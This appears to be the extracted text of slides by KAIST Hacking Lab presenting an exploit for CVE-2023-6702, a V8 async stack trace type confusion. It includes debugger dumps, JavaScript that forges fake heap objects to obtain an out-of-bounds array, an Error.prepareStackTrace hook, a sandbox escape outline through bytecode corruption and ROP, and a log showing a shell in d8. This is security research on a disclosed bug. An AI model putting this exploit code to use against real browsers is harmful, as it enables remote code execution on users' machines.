JSGeneratorObject

pwndbg> job 0x16430004e651
0x16430004e651: [JSGeneratorObject]
  - map: 0x16430018f3f9 <Map[44]> [HOLEY_ELEMENTS] [FastProperties]
  - prototype: 0x164300000235 <null>
  - elements: 0x16430000219 <FixedArray[0]> [HOLEY_ELEMENTS]
  - function: 0x16430019c711 <JSFunction f0 (sfi = 0x16430019bc59)>
  - context: 0x16430019c61d <ScriptContext[5]>
  - receiver: 0x16430018bd5 <JSGlobalProxy>
  - debug pos: 60
  - resume mode: .next()
  - continuation: 0 (suspended)
  - source position: unavailable
  - register file: 0x16430004e60d <FixedArray[10]>
  - properties: 0x16430000219 <FixedArray[0]>
  - All own properties (excluding elements): {}

pwndbg> x/10wx 0x16430004e651-1
0x16430004e650: 0x0018f3f9 0x00000219 0x00000219 0x0019c711
0x16430004e660: 0x0019c61d 0x0018bd5 0x0000078 0x00000000
0x16430004e670: 0x00000000 0x0004e60d
Beyond crash

```javascript
979 // Check if the [reaction] has one of the known async function or
980 // async generator continuations as its fulfill handler.
981 if (IsBuiltInFunction(isolate, reaction->fulfill_handler(),
982   Builtin::kAsyncFunctionAwaitResolveClosure) ||
983   IsBuiltInFunction(isolate, reaction->fulfill_handler(),
984     Builtin::kAsyncGeneratorAwaitResolveClosure) ||
985   IsBuiltInFunction(
986     isolate, reaction->fulfill_handler(),
987     Builtin::kAsyncGeneratorYieldWithAwaitResolveClosure)) {
988   // Now peek into the handlers’ AwaitContext to get to
989   // the JSGeneratorObject for the async function.
990   Handle<Context> context(
991     JSFunction::cast(reaction->fulfill_handler())->context(), isolate);
992   Handle<JSGeneratorObject> generator_object(
993     JSGeneratorObject::cast(context->extension()), isolate);
994   CHECK(generator_object->is_suspended());
995
996 // Append async frame corresponding to the [generator_object].
997    builder->AppendAsyncFrame(generator_object);
```
Fake objects

```javascript
const sloppy_func = () => {};
// %DebugPrint(sloppy_func);

const fake_objs = new Array(
    /* +0x08 */ helper.pair_i32_to_f64(0x0018ed75, 0x000000219), // OOB array
    /* +0x10 */ helper.pair_i32_to_f64(oob_arr_draft_elem_addr, 0x42424242),
    /* +0x18 */ helper.pair_i32_to_f64(0x000013cd, 0x00000000), // PromiseReaction
    /* +0x20 */ helper.pair_i32_to_f64(0x000000251, fake_objs_elems_addr + 0x30),
    /* +0x28 */ helper.pair_i32_to_f64(0x000000251, 0x000000251),
    /* +0x30 */ helper.pair_i32_to_f64(0x001843bd, 0x000000219), // Function
    /* +0x38 */ helper.pair_i32_to_f64(0x000000219, 0x00043c80),
    /* +0x40 */ helper.pair_i32_to_f64(0x00025575, fake_objs_elems_addr + 0x48),
    /* +0x48 */ helper.pair_i32_to_f64(0x00191895, 0x43434343), // Context
    /* +0x50 */ helper.pair_i32_to_f64(0x45454545, 0x47474747),
    /* +0x58 */ helper.pair_i32_to_f64(fake_objs_elems_addr + 0x60, 0x0),
    /* +0x60 */ helper.pair_i32_to_f64(0x0019beed, 0x000000219), // JSGeneratorObject
    /* +0x68 */ helper.pair_i32_to_f64(0x000000219, sloppy_func_addr),
    /* +0x70 */ helper.pair_i32_to_f64(0x0019190d, fake_objs_elems_addr + 0x8),
    /* +0x78 */ helper.pair_i32_to_f64(0x41414141, 0xdeadbeef),
    /* +0x80 */ helper.pair_i32_to_f64(0x00000000, 0x23232323)
);
```
Fake async frame!

Error: Let's have a look...
  at bar (..//..//..//fake_frame.js:168:15)
  at async foo (..//..//..//fake_frame.js:163:9)
  at async Promise.all (index 0)
  at async Array.sloppy_func (..//..//..//fake_frame.js:1:1)
Then, use `Error.prepareStackTrace` to access the fake async frame.

- `getThis`: returns the value of `this`
- `getException`: returns the type of `this` as a string. This is the name of the function stored in the constructor field of `this`, if available, otherwise the object's `[[Class]]` internal property.
- `getFunction`: returns the current function
- `getFunctionName`: returns the name of the current function, typically its `name` property. If a `name` property is not available an attempt is made to infer a name from the function's context.
- `getMethodName`: returns the name of the property of `this` or one of its prototypes that holds the current function
- `getFileName`: if this function was defined in a script returns the name of the script
- `getLineNumber`: if this function was defined in a script returns the current line number
- `getColumnNumber`: if this function was defined in a script returns the current column number
- `getEvalOrigin`: if this function was created using a call to `eval` returns a string representing the location where `eval` was called
- `isTopLevel`: is this a top-level invocation, that is, is this the global object?
- `isEval`: does this call take place in code defined by a call to `eval`?
- `isNative`: is this call in native V8 code?
- `isConstructor`: is this a constructor call?
- `isAsync`: is this an async call (i.e. `await`, `Promise.all()`, or `Promise.any()`)?
- `isPromiseAll`: is this an async call to `Promise.all()`?
- `getPromiseIndex`: returns the index of the promise element that was followed in `Promise.all()` or `Promise.any()` for async stack traces, or null if the `Callsite` is not an async `Promise.all()` or `Promise.any()` call.
getThis to fake async frame

```
JSGeneratorObject

0x00018f3f9

function

receiver

0x00000000

JSArray map
properties
elements
length (0x42424242)

OOB array
```
Retrieve the OOB array

```javascript
180  Error.prepareStackTrace = function (error, frames) {
181    if (frames.length < 3) {
182      console.error("No fake async stack frame");
183    } else {
184      console.error("I GOT MY FAKE ASYNC STACK FRAME");
185      oob_arr = frames[2].getThis();
186      %DebugPrint(oob_arr);
187    }
188  }
```
OOB Array

DebugPrint: 0x3a490004f0d5: [JSArray]
  - map: 0x3a490018ed75 <Map[16](PACKED_DOUBLE_ELEMENTS)> [FastProperties]
  - prototype: 0x3a490018e795 <JSArray[0]>
  - elements: 0x3a490004f1e1 <FixedDoubleArray[1] > [PACKED_DOUBLE_ELEMENTS]
    - length: 555819297
  - properties: 0x3a4900000219 <FixedArray[0]>
  - All own properties (excluding elements): {
    0x3a4900000e31: [String] in ReadOnlySpace: #length: 0x3a4900025981 <Access
    }, location: descriptor
  }
  - elements: 0x3a490004f1e1 <FixedDoubleArray[1] > {
    0: 1.1
  }

>>> hex(555819297)
'0x21212121'
Towards RCE

1. Construct caged_read/caged_write primitive
2. V8 Heap Sandbox Escape
   ○ Corrupt bytecode array
3. Spawn iframes to increase reliability
1. Introduce 1TB V8 Sandbox
   ○ Limit AAW primitive from 64bit → 40bit
2. Access JIT code using Code Pointer Table
   ○ Indexing instead directly accessing
3. Draw off Bytecode outside of 1TB cage

Not enabled in the target version (M118)
V8 sandbox escape

- BytecodeArray is still in V8 sandbox
  - Interpreter treats bytecode as trusted
- By corrupting BytecodeArray, we can execute arbitrary bytecode
  - Corrupting stack
- Leak d8 binary base address → Pivot stack → ROP

Reference: 2023 Google CTF write-up
RCE in d8

```
haein@user-X11DPi-N-T:/v8aeg/bugs/v8ctf(main*) $ ./v8-exploit/d8 oob-exploit.js --allow-natives-syntax
Cage base at 0x327900000000
func addr at 0x19d611
sfi_addr at 0x19c275
bytecode_addr at 0x19db5e
d8 leak: 0x7af0a9e4
upper: 0x563900000000
d8 at 0x5639793d6000
fake stack data at 0x53604
fake bytecode at 0x327900005378c
fake stack data 2 at 0x327a00000000
fake stack TypedArray at 0x3279000053644
Stack offset: 0x1ff593a
$ id
uid=1003(haein) gid=1003(haein) groups=1003(haein),4(adm),27(sudo),999(docker)
$ 
```
Conclusion

- Vulnerability
  - CVE-2023-6702 type confusion bug in async stack trace
  - Grab the closure → Call the closure → Trigger async stack trace

- Exploit
  - Use hash value as pointer by heap spraying
  - Create a fake async frame and retrieve OOB array (fakeobj primitive)
  - Corrupt bytecode array to escape V8 heap sandbox
  - Create iframes with different domain to increase the reliability
Take-home message

- Bug reward is good indicator for exploitability
- Test262 contains various JavaScript code pattern
- Use hash value as a pointer thanks to pointer compression

Write-up in https://github.com/kaist-hacking/CVE-2023-6702

Thanks to KAIST Hacking Lab